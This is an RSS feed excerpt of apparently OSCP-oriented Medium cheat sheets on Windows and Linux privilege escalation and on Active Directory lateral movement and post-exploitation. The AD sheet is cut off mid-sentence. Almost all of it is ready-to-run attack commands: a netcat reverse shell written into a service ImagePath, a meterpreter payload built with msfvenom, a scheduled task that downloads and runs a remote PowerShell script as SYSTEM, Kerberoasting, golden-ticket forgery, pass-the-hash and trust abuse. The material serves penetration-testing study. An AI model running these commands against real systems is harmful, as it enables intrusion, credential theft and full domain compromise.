win7lpe-systeminfo.txt`</pre><blockquote>Running Windows Exploit Suggester</blockquote><pre>REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUAREG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA</pre><blockquote>Confirming UAC is enabledConfirming UAC is enabled</blockquote><pre>REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdminREG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin</pre><blockquote>Checking UAC levelChecking UAC level</blockquote><pre>`[environment]::OSVersion.Version``[environment]::OSVersion.Version`</pre><blockquote>Checking Windows versionChecking Windows version</blockquote><pre>`cmd /c echo %PATH%``cmd /c echo %PATH%`</pre><blockquote>Reviewing path variableReviewing path variable</blockquote><pre>`.\SharpUp.exe audit``.\SharpUp.exe audit`</pre><blockquote>Running SharpUpRunning SharpUp</blockquote><pre>`icacls &quot;C:\Program Files (x86)\PCProtect\SecurityService.exe&quot;``icacls &quot;C:\Program Files (x86)\PCProtect\SecurityService.exe&quot;`</pre><blockquote>Checking service permissions with icaclsChecking service permissions with icacls</blockquote><pre>`cmd /c copy /Y SecurityService.exe &quot;C:\Program Files (x86)\PCProtect\SecurityService.exe&quot;``cmd /c copy /Y SecurityService.exe &quot;C:\Program Files (x86)\PCProtect\SecurityService.exe&quot;`</pre><blockquote>Replace a service binaryReplace a service binary</blockquote><pre>`wmic service get name,displayname,pathname,startmode | findstr /i &quot;auto&quot; | findstr /i /v &quot;c:\windows\\&quot; | findstr /i /v &quot;&quot;&quot;``wmic service get name,displayname,pathname,startmode | findstr /i &quot;auto&quot; | findstr /i /v &quot;c:\windows\\&quot; | findstr /i /v &quot;&quot;&quot;`</pre><blockquote>Searching for unquoted service pathsSearching for unquoted service paths</blockquote><pre>`accesschk.exe /accepteula &quot;mrb3n&quot; -kvuqsw hklm\System\CurrentControlSet\services``accesschk.exe /accepteula &quot;mrb3n&quot; -kvuqsw hklm\System\CurrentControlSet\services`</pre><blockquote>Checking for weak service ACLs in the RegistryChecking for weak service ACLs in the Registry</blockquote><pre>`Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name &quot;ImagePath&quot; -Value &quot;C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443&quot;``Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name &quot;ImagePath&quot; -Value &quot;C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443&quot;`</pre><blockquote>Changing ImagePath with PowerShellChanging ImagePath with PowerShell</blockquote><pre>`Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl``Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl`</pre><blockquote>Check startup programsCheck startup programs</blockquote><pre>`msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe &gt; maintenanceservice.exe``msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe &gt; maintenanceservice.exe`</pre><blockquote>Generating a malicious binaryGenerating a malicious binary</blockquote><pre>`get-process -Id 3324``get-process -Id 3324`</pre><blockquote>Enumerating a process ID with PowerShellEnumerating a process ID with PowerShell</blockquote><pre>`get-service | ? {$_.DisplayName -like &#39;Druva*&#39;}``get-service | ? {$_.DisplayName -like &#39;Druva*&#39;}`</pre><blockquote>Enumerate a running service by name with PowerShellEnumerate a running service by name with PowerShell</blockquote><pre>`curl http ://10.10.14.3:8080/srrstr.dll -O &quot;C:\Users\lafi\AppData\Local\Microsoft\WindowsApps\srrstr.dll&quot;`</pre><blockquote>Downloading file with cURL in PowerShell</blockquote><pre>`rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll`</pre><blockquote>Executing custom dll with rundll32.exe</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2c4a025dc6c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Privilege Escalation For OSCP and beyond (Cheat Sheet)]]></title>
            <link>https://medium.com/@saintlafi/linux-privilege-escalation-for-oscp-and-beyond-cheat-sheet-24fb9fe13058?source=rss-8f6598de6297------2</link>
            <guid isPermaLink="false">https://medium.com/p/24fb9fe13058</guid>
            <category><![CDATA[cheatsheet]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Lafi Almutairi]]></dc:creator>
            <pubDate>Sat, 29 Oct 2022 22:58:58 GMT</pubDate>
            <atom:updated>2023-02-24T13:27:57.586Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*KmEMiNG9db1tebIHPwSoVQ.jpeg" /></figure><p>This is a detailed cheat sheet for Linux PE, its handy in many certification like OSCP and OSCE</p><p><em>Checkout my personal notes on </em><a href="https://github.com/LafiAlmutairi/Pentest-Handbook"><em>github</em></a><em>, it’s a handbook i made using cherrytree that consists of many usefull commands for passing the OSCP or even doing an actual penetration tests.</em></p><pre>`ps aux | grep root`</pre><blockquote>See processes running as root</blockquote><pre>`ps au`</pre><blockquote>See logged in users</blockquote><pre>`ls /home`</pre><blockquote>View user home directories</blockquote><pre>`ls -l ~/.ssh`</pre><blockquote>Check for SSH keys for current user</blockquote><pre>`history`</pre><blockquote>Check the current user&#39;s Bash history</blockquote><pre>`sudo -l`</pre><blockquote>Can the user run anything as another user?</blockquote><pre>`ls -la /etc/cron.daily`</pre><blockquote>Check for daily Cron jobs</blockquote><pre>`lsblk`</pre><blockquote>Check for unmounted file systems/drives</blockquote><pre>`find / -path /proc -prune -o -type d -perm -o+w 2&gt;/dev/null`</pre><blockquote>Find world-writeable directories</blockquote><pre>`find / -path /proc -prune -o -type f -perm -o+w 2&gt;/dev/null`</pre><blockquote>Find world-writeable files</blockquote><pre>`uname -a`</pre><blockquote>Check the Kernel versiion</blockquote><pre>`cat /etc/lsb-release`</pre><blockquote>Check the OS version</blockquote><pre>`gcc kernel_expoit.c -o kernel_expoit`</pre><blockquote>Compile an exploit written in C</blockquote><pre>`screen -v`</pre><blockquote>Check the installed version of `Screen`</blockquote><pre>`./pspy64 -pf -i 1000`</pre><blockquote>View running processes with `pspy`</blockquote><pre>`find / -user root -perm -4000 -exec ls -ldb {} \; 2&gt;/dev/null`</pre><blockquote>Find binaries with the SUID bit set</blockquote><pre>`find / -user root -perm -6000 -exec ls -ldb {} \; 2&gt;/dev/null`</pre><blockquote>Find binaries with the SETGID bit set</blockquote><pre>`sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root`</pre><blockquote>Priv esc with `tcpdump`</blockquote><pre>`echo $PATH`</pre><blockquote>Check the current user&#39;s PATH variable contents</blockquote><pre>`PATH=.:${PATH}`</pre><blockquote>Add a `.` to the beginning of the current user&#39;s PATH</blockquote><pre>`find / ! -path &quot;*/proc/*&quot; -iname &quot;*config*&quot; -type f 2&gt;/dev/null`</pre><blockquote>Search for config files</blockquote><pre>`ldd /bin/ls`</pre><blockquote>View the shared objects required by a binary</blockquote><pre>`sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart`</pre><blockquote>Escalate privileges using `LD_PRELOAD`</blockquote><pre>`readelf -d payroll | grep PATH`</pre><blockquote>Check the RUNPATH of a binary</blockquote><pre>`gcc src.c -fPIC -shared -o /development/libshared.so`</pre><blockquote>Compiled a shared libary</blockquote><pre>`lxd init`</pre><blockquote>Start the LXD initialization process</blockquote><pre>`lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine`</pre><blockquote>Import a local image</blockquote><pre>`lxc init alpine r00t -c security.privileged=true`</pre><blockquote>Start a privileged LXD container</blockquote><pre>`lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true`</pre><blockquote>Mount the host file system in a container</blockquote><pre>`lxc start r00t`</pre><blockquote>Start the container</blockquote><pre>`showmount -e 10.129.2.12`</pre><blockquote>Show the NFS export list</blockquote><pre>`sudo mount -t nfs 10.129.2.12:/tmp /mnt`</pre><blockquote>Mount an NFS share locally</blockquote><pre>`tmux -S /shareds new -s debugsess`</pre><blockquote>Created a shared `tmux` session socket</blockquote><pre>`./lynis audit system`</pre><blockquote>Perform a system audit with `Lynis`</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24fb9fe13058" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Lateral Movement and Post-Exploitation Cheat Sheet]]></title>
            <link>https://medium.com/@saintlafi/active-directory-lateral-movement-and-post-exploitation-cheat-sheet-3170982a7055?source=rss-8f6598de6297------2</link>
            <guid isPermaLink="false">https://medium.com/p/3170982a7055</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[active-directory-attack]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Lafi Almutairi]]></dc:creator>
            <pubDate>Thu, 27 Oct 2022 22:39:22 GMT</pubDate>
            <atom:updated>2023-02-24T13:31:34.486Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*qVqYxnnVH9G11WtAd-XEjQ.png" /></figure><p><em>Checkout my personal notes on </em><a href="https://github.com/LafiAlmutairi/Pentest-Handbook"><em>github</em></a><em>, it’s a handbook i made using cherrytree that consists of many usefull commands for passing the OSCP or even doing an actual penetration tests.</em></p><p>This is a detailed cheat sheet to help you with many high end certifications like CRTE, OSEP, and definitely OSCP and beyond.</p><blockquote>Table of Contents</blockquote><p><a href="#b769"><strong>Lateral Movement</strong></a></p><p><a href="#b098">Lateral Movement Enumeration With PowerView</a><br> <a href="#9c4b">BloodHound</a><br><a href="#8b8b"> Kerberoasting</a><br><a href="#50fa"> AS-REP roasting</a><br> <a href="#fb63">Token Manipulation</a><br> <a href="#e0c0">Lateral Movement with Rubeus</a><br> <a href="#156a">Lateral Movement with Mimikatz</a><br> <a href="#7a1f">Command execution with scheduled tasks</a><br><a href="#fedc"> Command execution with WMI</a><br> <a href="#0832">Command execution with PowerShell Remoting</a><br> <a href="#41a4">Unconstrained delegation</a><br> <a href="#301f">Constrained delegation</a><br> <a href="#12cb">Resource-based constrained delegation</a><br> <a href="#be43">Abusing domain trust</a><br> <a href="#32bf">Abusing inter-forest trust</a><br> <a href="#00a1">Abusing MSSQL databases for lateral movement</a><br><a href="#6eca"> Abusing Group Policy Objects for lateral movement</a></p><p><a href="#4fb1"><strong>Post-Exploitation</strong></a></p><p><a href="#17f1">LSASS protection</a><br> <a href="#08e9">Dumping OS credentials with Mimikatz</a><br><a href="#8cd1"> Abusing the Data Protection API (DPAPI) with Mimikatz</a><br> <a href="#2be4">Dumping secrets without Mimikatz</a><br><a href="#168a"> Windows Defender evasion</a><br> <a href="#3cb4">Chisel proxying</a><br> <a href="#3cb4">Interesting Files</a></p><h3>Lateral Movement</h3><h3>Lateral Movement Enumeration With PowerView</h3><pre># Find existing local admin access for user (noisy 🚩)<br>Find-LocalAdminAccess</pre><pre># Hunt for sessions of interesting users on machines where you have access (also noisy 🚩)<br>Find-DomainUserLocation -CheckAccess | ?{$_.LocalAdmin -Eq True }</pre><pre># Look for kerberoastable users<br>Get-DomainUser -SPN | select name,serviceprincipalname</pre><pre># Look for AS-REP roastable users<br>Get-DomainUser -PreauthNotRequired | select name</pre><pre># Look for interesting ACL within the domain, filtering on a specific user or group you have compromised<br>## Exploitation depends on the identified ACL, some techniques are discussed in this cheat sheet<br>## Example for GenericWrite on user: Disable preauth or add SPN for targeted kerberoast (see below)<br>Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match &quot;UserOrGroupToQuery&quot;}</pre><pre># Look for servers with Unconstrained Delegation enabled<br>## If available and you have admin privs on this server, get user TGT (see below)<br>Get-DomainComputer -Unconstrained</pre><pre># Look for users or computers with Constrained Delegation enabled<br>## If available and you have user/computer hash, access service machine as DA (see below)<br>Get-DomainUser -TrustedToAuth | select userprincipalname,msds-allowedtodelegateto<br>Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto</pre><p>PowerShell</p><h3>BloodHound</h3><p>Use Invoke-BloodHound from SharpHound.ps1, or use SharpHound.exe. Both can be run reflectively, get them <a href="https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors">here</a>. Examples below use the PowerShell variant but arguments are identical.</p><pre># Run all checks, including restricted groups enforced through the domain  🚩<br>Invoke-BloodHound -CollectionMethod All,GPOLocalGroup</pre><pre># Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts so is VERY noisy 🚩<br>Invoke-BloodHound -CollectionMethod LoggedOn</pre><p>PowerShell</p><p>For real engagements definitely look into the <a href="https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html">various arguments</a> that BloodHound provides for more stealthy collection and exfiltration of data.</p><h3>Kerberoasting</h3><h4>Automatic</h4><p>With PowerView:</p><pre>Get-DomainSPNTicket -SPN &quot;MSSQLSvc/sqlserver.targetdomain.com&quot;</pre><p>PowerShell</p><p>Crack the hash with Hashcat:</p><pre>hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule</pre><p>Bash</p><h4>Manual</h4><pre># Request TGS for kerberoastable account (SPN)<br>Add-Type -AssemblyName System.IdentityModel<br>New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList &quot;MSSQLSvc/sqlserver.targetdomain.com&quot;</pre><pre># Dump TGS to disk<br>Invoke-Mimikatz -Command &#39;&quot;kerberos::list /export&quot;&#39;</pre><pre># Crack with TGSRepCrack<br>python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi</pre><p>PowerShell</p><h4>Targeted kerberoasting by setting SPN</h4><p>We need have ACL write permissions to set UserAccountControl flags for the target user, see above for identification of interesting ACLs. Using PowerView:</p><pre>Set-DomainObject -Identity TargetUser -Set @{serviceprincipalname=&#39;any/thing&#39;}</pre><p>PowerShell</p><h3>AS-REP roasting</h3><p>Get the hash for a roastable user (see above for hunting). Using ASREPRoast.ps1:</p><pre>Get-ASREPHash -UserName TargetUser</pre><p>PowerShell</p><p>Crack the hash with Hashcat:</p><pre>hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule</pre><p>Bash</p><h4>Targeted AS-REP roasting by disabling Kerberos pre-authentication</h4><p>Again, we need ACL write permissions to set UserAccountControl flags for the target user. Using PowerView:</p><pre>Set-DomainObject -Identity TargetUser -XOR @{useraccountcontrol=4194304}</pre><p>PowerShell</p><h3>Token Manipulation</h3><p>Tokens can be impersonated from other users with a session/running processes on the machine. Most C2 frameworks have functionality for this built-in (such as the ‘Steal Token’ functionality in Cobalt Strike).</p><h4>Incognito</h4><pre># Show tokens on the machine<br>.\incognito.exe list_tokens -u</pre><pre># Start new process with token of a specific user<br>.\incognito.exe execute -c &quot;domain\user&quot; C:\Windows\system32\calc.exe</pre><p>PowerShell</p><blockquote><em>If you’re using Meterpreter, you can use the built-in Incognito module with </em><em>use incognito, the same commands are available.</em></blockquote><h4>Invoke-TokenManipulation</h4><pre># Show all tokens on the machine<br>Invoke-TokenManipulation -ShowAll</pre><pre># Show only unique, usable tokens on the machine<br>Invoke-TokenManipulation -Enumerate</pre><pre># Start new process with token of a specific user<br>Invoke-TokenManipulation -ImpersonateUser -Username &quot;domain\user&quot;</pre><pre># Start new process with token of another process<br>Invoke-TokenManipulation -CreateProcess &quot;C:\Windows\system32\calc.exe&quot; -ProcessId 500</pre><p>PowerShell</p><h3>Lateral Movement with Rubeus</h3><p>We can use Rubeus to execute a technique called “Overpass-the-Hash”. In this technique, instead of passing the hash directly (another technique known as Pass-the-Hash), we use the NTLM hash of an account to request a valid Kerberost ticket (TGT). We can then use this ticket to authenticate towards the domain as the target user.</p><pre># Request a TGT as the target user and pass it into the current session<br># NOTE: Make sure to clear tickets in the current session (with &#39;klist purge&#39;) to ensure you don&#39;t have multiple active TGTs<br>.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt</pre><pre># More stealthy variant, but requires the AES256 key (see &#39;Dumping OS credentials with Mimikatz&#39; section)<br>.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256KEY] /opsec /ptt</pre><pre># Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)<br>.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe</pre><p>PowerShell</p><p>Once we have a TGT as the target user, we can use services as this user in a domain context, allowing us to move laterally.</p><h3>Lateral Movement with Mimikatz</h3><p>Note that Mimikatz is incredibly versatile and is discussed in multiple sections throughout this blog. Because of this, however, the binary is also very well-detected. If you need to run Mimikatz on your target (not recommended), executing a custom version reflectively is your best bet. There are also options such as <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1">Invoke-MimiKatz</a> or <a href="https://github.com/GhostPack/SafetyKatz">Safetykatz</a>. Note that the latter is more stealthy but does not include all functionality.</p><pre># Overpass-the-hash (more risky than Rubeus, writes to LSASS memory)<br>sekurlsa::pth /user:Administrator /domain:targetdomain.com /ntlm:[NTLMHASH] /run:powershell.exe</pre><pre># Or, a more opsec-safe version that uses the AES256 key (similar to with Rubeus above) - works for multiple Mimikatz commands<br>sekurlsa::pth /user:Administrator /domain:targetdomain.com /aes256:[AES256KEY] /run:powershell.exe</pre><pre># Golden ticket (domain admin, w/ some ticket properties to avoid detection)<br>kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt</pre><pre># Silver ticket for a specific SPN with a compromised service / machine account<br>kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.targetdomain.com /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt</pre><p>Plaintext</p><blockquote><em>A nice overview of the SPNs relevant for offensive purposes is provided </em><a href="https://adsecurity.org/?p=2011"><em>here</em></a><em> (scroll down) and </em><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#pass-the-ticket-silver-tickets"><em>here</em></a><em>.</em></blockquote><h3>Command execution with scheduled tasks</h3><p><em>Requires ‘Host’ SPN</em></p><p>To create a task:</p><pre># Mind the quotes. Use encoded commands if quoting becomes too much of a pain<br>schtasks /create /tn &quot;shell&quot; /ru &quot;NT Authority\SYSTEM&quot; /s dc.targetdomain.com /sc weekly /tr &quot;Powershell.exe -c &#39;IEX (New-Object Net.WebClient).DownloadString(&#39;&#39;http://172.16.100.55/Invoke-PowerShellTcpRun.ps1&#39;&#39;&#39;)&#39;&quot;</pre><p>PowerShell</p><p>To trigger the task:</p><pre>schtasks /RUN /TN &quot;shell&quot; /s dc.targetdomain.com</pre><p>PowerShell</p><h3>Command execution with WMI</h3><p><em>Requires ‘Host’ and ‘RPCSS’ SPNs</em></p><h4>From Windows</h4><pre>Invoke-WmiMethod win32_process -ComputerName dc.targetdomain.com -name create -argumentlist &quot;powershell.exe -e $encodedCommand&quot;</pre><p>PowerShell</p><h4>From Linux</h4><pre># with password<br>impacket-wmiexec DOMAIN/targetuser:password@172.16.4.101</pre><pre># with hash<br>impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -hashes :e0e223d63905f5a7796fb1006e7dc594</pre><pre># with Kerberos authentication (make sure your client is setup to use the right ticket, and that you have a TGS with the right SPNs)<br>impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -no-pass -k</pre><p>Bash</p><h3>Command execution with PowerShell Remoting</h3><p><em>Requires ‘CIFS’ and ‘HTTP’ SPNs. May also need the ‘WSMAN’ or ‘RPCSS’ SPNs (depending on OS version)</em></p><pre># Create credential to run as another user (not needed after e.g. Overpass-the-Hash)<br># Leave out -Credential $Cred in the below commands to run as the current user instead<br>$SecPassword = ConvertTo-SecureString &#39;VictimUserPassword&#39; -AsPlainText -Force<br>$Cred = New-Object System.Management.Automation.PSCredential(&#39;DOMAIN\targetuser&#39;, $SecPassword)</pre><pre># Run a command remotely (can be used on multiple machines at once)<br>Invoke-Command -Credential $Cred -ComputerName dc.targetdomain.com -ScriptBlock {whoami; hostname}</pre><pre># Launch a session as another user (prompt for password instead, for use with e.g. RDP)<br>Enter-PsSession -ComputerName dc.targetdomain.com -Credential DOMAIN/targetuser</pre><pre># Create a persistent session (will remember variables etc.), load a script into said session, and enter a remote session prompt<br>$sess = New-PsSession -Credential $Cred -ComputerName dc.targetdomain.com<br>Invoke-Command -Session $sess -FilePath c:\path\to\file.ps1<br>Enter-PsSession -Session $sess</pre><pre># Copy files to or from an active PowerShell remoting session<br>Copy-Item -Path .\Invoke-Mimikatz.ps1 -ToSession $sess -Destination &quot;C:\Users\public\&quot;</pre><p>PowerShell</p><h3>Unconstrained delegation</h3><p>Unconstrained Delegation can be set on a <em>frontend service</em> (e.g., an IIS web server) to allow it to delegate on behalf of a user to <em>any service in the domain</em> (towards a <em>backend service</em>, such as an MSSQL database).</p><p>DACL UAC property: TrustedForDelegation.</p><h4>Exploitation</h4><p>With administrative privileges on a server with Unconstrained Delegation set, we can dump the TGTs for other users that have a connection. If we do this successfully, we can impersonate the victim user towards any service in the domain.</p><p>With Mimikatz:</p><pre>sekurlsa::tickets /export<br>kerberos::ptt c:\path\to\ticket.kirbi</pre><p>Plaintext</p><p>Or with Rubeus:</p><pre>.\Rubeus.exe triage<br>.\Rubeus.exe dump /luid:0x5379f2 /nowrap<br>.\Rubeus.exe ptt /ticket:doIFSDCC[...]</pre><p>PowerShell</p><p>We can also gain the hash for a domain controller machine account, if that DC is vulnerable to the printer bug. If we do this successfully, we can DCSync the domain controller (see below) to completely compromise the current domain.</p><p>On the server with Unconstrained Delegation, monitor for new tickets with Rubeus.</p><pre>.\Rubeus.exe monitor /interval:5 /nowrap</pre><p>PowerShell</p><p>From attacking machine, entice the Domain Controller to connect using the printer bug. Binary from <a href="https://github.com/leechristensen/SpoolSample">here</a>.</p><pre>.\MS-RPRN.exe \\dc.targetdomain.com \\unconstrained-server.targetdomain.com</pre><p>PowerShell</p><p>The TGT for the machine account of the DC should come in in the first session. We can pass this ticket into our current session to gain DCSync privileges (see below).</p><pre>.\Rubeus.exe ptt /ticket:doIFxTCCBc...</pre><p>PowerShell</p><h3>Constrained delegation</h3><p>Constrained delegation can be set on the <em>frontend server</em> (e.g. IIS) to allow it to delegate to <em>only selected backend services</em> (e.g. MSSQL) on behalf of the user.</p><p>DACL UAC property: TrustedToAuthForDelegation. This allows s4u2self, i.e. requesting a TGS on behalf of <em>anyone</em> to oneself, using just the NTLM password hash. This effectively allows the service to impersonate other users in the domain with just their hash, and is useful in situations where Kerberos isn’t used between the user and frontend.</p><p>DACL Property: msDS-AllowedToDelegateTo. This property contains the SPNs it is allowed to use s4u2proxy on, i.e. requesting a forwardable TGS for that server based on an existing TGS (often the one gained from using s4u2self). This effectively defines the backend services that constrained delegation is allowed for.</p><p><strong>NOTE:</strong> These properties do NOT have to exist together! If s4u2proxy is allowed without s4u2self, user interaction is required to get a valid TGS to the frontend service from a user, similar to unconstrained delegation.</p><h4>Exploitation</h4><p>In this case, we use Rubeus to automatically request a TGT and then a TGS with the ldap SPN to allow us to DCSync using a machine account.</p><pre># Get a TGT using the compromised service account with delegation set (not needed if you already have an active session or token as this user)<br>.\Rubeus.exe asktgt /user:svc_with_delegation /domain:targetdomain.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E</pre><pre># Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN<br>.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:time/dc /ptt</pre><pre># Same as the two above steps, but access the LDAP service on the DC instead (for dcsync)<br>.\Rubeus.exe s4u /user:sa_with_delegation /impersonateuser:Administrator /msdsspn:time/dc /altservice:ldap /ptt /rc4:2892D26CDF84D7A70E2EB3B9F05C425E</pre><p>PowerShell</p><h3>Resource-based constrained delegation</h3><p>Resource-Based Constrained Delegation (RBCD) configures the <em>backend server</em> (e.g. MSSQL) to allow <em>only selected frontend services</em> (e.g. IIS) to delegate on behalf of the user. This makes it easier for specific server administrators to configure delegation, without requiring domain admin privileges.</p><p>DACL Property: msDS-AllowedToActOnBehalfOfOtherIdentity.</p><p>In this scenario, s4u2self and s4u2proxy are used as above to request a forwardable ticket on behalf of the user. However, with RBCD, the KDC checks if the SPN for the requesting service (i.e., the <em>frontend service</em>) is present in the msDS-AllowedToActOnBehalfOfOtherIdentity property of the <em>backend service</em>. This means that the <em>frontend service</em> needs to have an SPN set. Thus, attacks against RBCD have to be performed from either a service account with SPN or a machine account.</p><h4>Exploitation</h4><p>If we compromise a <em>frontend service</em> that appears in the RBCD property of a <em>backend service</em>, exploitation is the same as with constrained delegation above. This is however not too common.</p><p>A more often-seen attack to RBCD is when we have GenericWrite, GenericAll, WriteProperty, or WriteDACL permissions to a computer object in the domain. This means we can write the msDS-AllowedToActOnBehalfOfOtherIdentity property on this machine account to add a controlled SPN or machine account to be trusted for delegation. We can even create a new machine account and add it. This allows us to compromise the target machine in the context of any user, as with constrained delegation.</p><pre># Create a new machine account using PowerMad<br>New-MachineAccount -MachineAccount NewMachine -Password $(ConvertTo-SecureString &#39;P4ssword123!&#39; -AsPlainText -Force)</pre><pre># Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target<br>$sid = Get-DomainComputer -Identity NewMachine -Properties objectsid | Select -Expand objectsid<br>$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))&quot;<br>$SDbytes = New-Object byte[] ($SD.BinaryLength)<br>$SD.GetBinaryForm($SDbytes,0)</pre><pre># Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the target<br>Get-DomainComputer -Identity TargetSrv | Set-DomainObject -Set @{&#39;msds-allowedtoactonbehalfofotheridentity&#39;=$SDBytes}</pre><pre># Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target<br>.\Rubeus.exe s4u /user:NewMachine$ /rc4:A9A70FD4DF48FBFAB37E257CFA953312 /impersonateuser:Administrator /msdsspn:CIFS/TargetSrv.targetdomain.com /ptt</pre><p>PowerShell</p><h3>Abusing domain trust</h3><p>All commands must be run with DA privileges in the current domain.</p><p>Note that if you completely compromise a child domain (currentdomain.targetdomain.com), you can <em>by definition</em> also compromise the parent domain (targetdomain.com) due to the implicit trust relationship. The same counts for any trust relationship where SID filtering is disabled (see <a href="https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#abusing-inter-forest-trust">‘Abusing inter-forest trust’</a> below).</p><h4>Using domain trust key</h4><p>From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain’s enterprise admins group to our ‘SID history’.</p><pre>kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:targetdomain.com /ticket:c:\users\public\ticket.kirbi</pre><p>Plaintext</p><p>Pass this ticket with Rubeus.</p><pre>.\Rubeus.exe asktgs /ticket:c:\users\public\ticket.kirbi /service:LDAP/dc.targetdomain.com /dc:dc.targetdomain.com /ptt</pre><p>PowerShell</p><p>We can now DCSync the target domain (see below).</p><h4>Using krbtgt hash</h4><p>From the DC, dump the krbtgt hash using e.g. DCSync or LSADump. Then, using this hash, forge an inter-realm TGT using Mimikatz, as with the previous method.</p><p>Doing this requires the SID of the current domain as the /sid parameter, and the SID of the target domain as part of the /sids parameter. You can grab these using PowerView’s Get-DomainSID. Use a SID History (/sids) of *-516 and S-1-5-9 to disguise as the Domain Controllers group and Enterprise Domain Controllers respectively, to be less noisy in the logs.</p><pre>kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:DC$ /groups:516 /ptt</pre><p>Plaintext</p><blockquote><em>If you are having issues creating this ticket, try adding the ’target’ flag, e.g. </em><em>/target:targetdomain.com.</em></blockquote><p>Alternatively, generate a domain admin ticket with SID history of enterprise administrators group in the target domain.</p><pre>kerberos::golden /user:Administrator /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt</pre><p>We can now immediately DCSync the target domain, or get a reverse shell using e.g. scheduled tasks.</p><h3>Abusing inter-forest trust</h3><p>Since a forest is a security boundary, we can 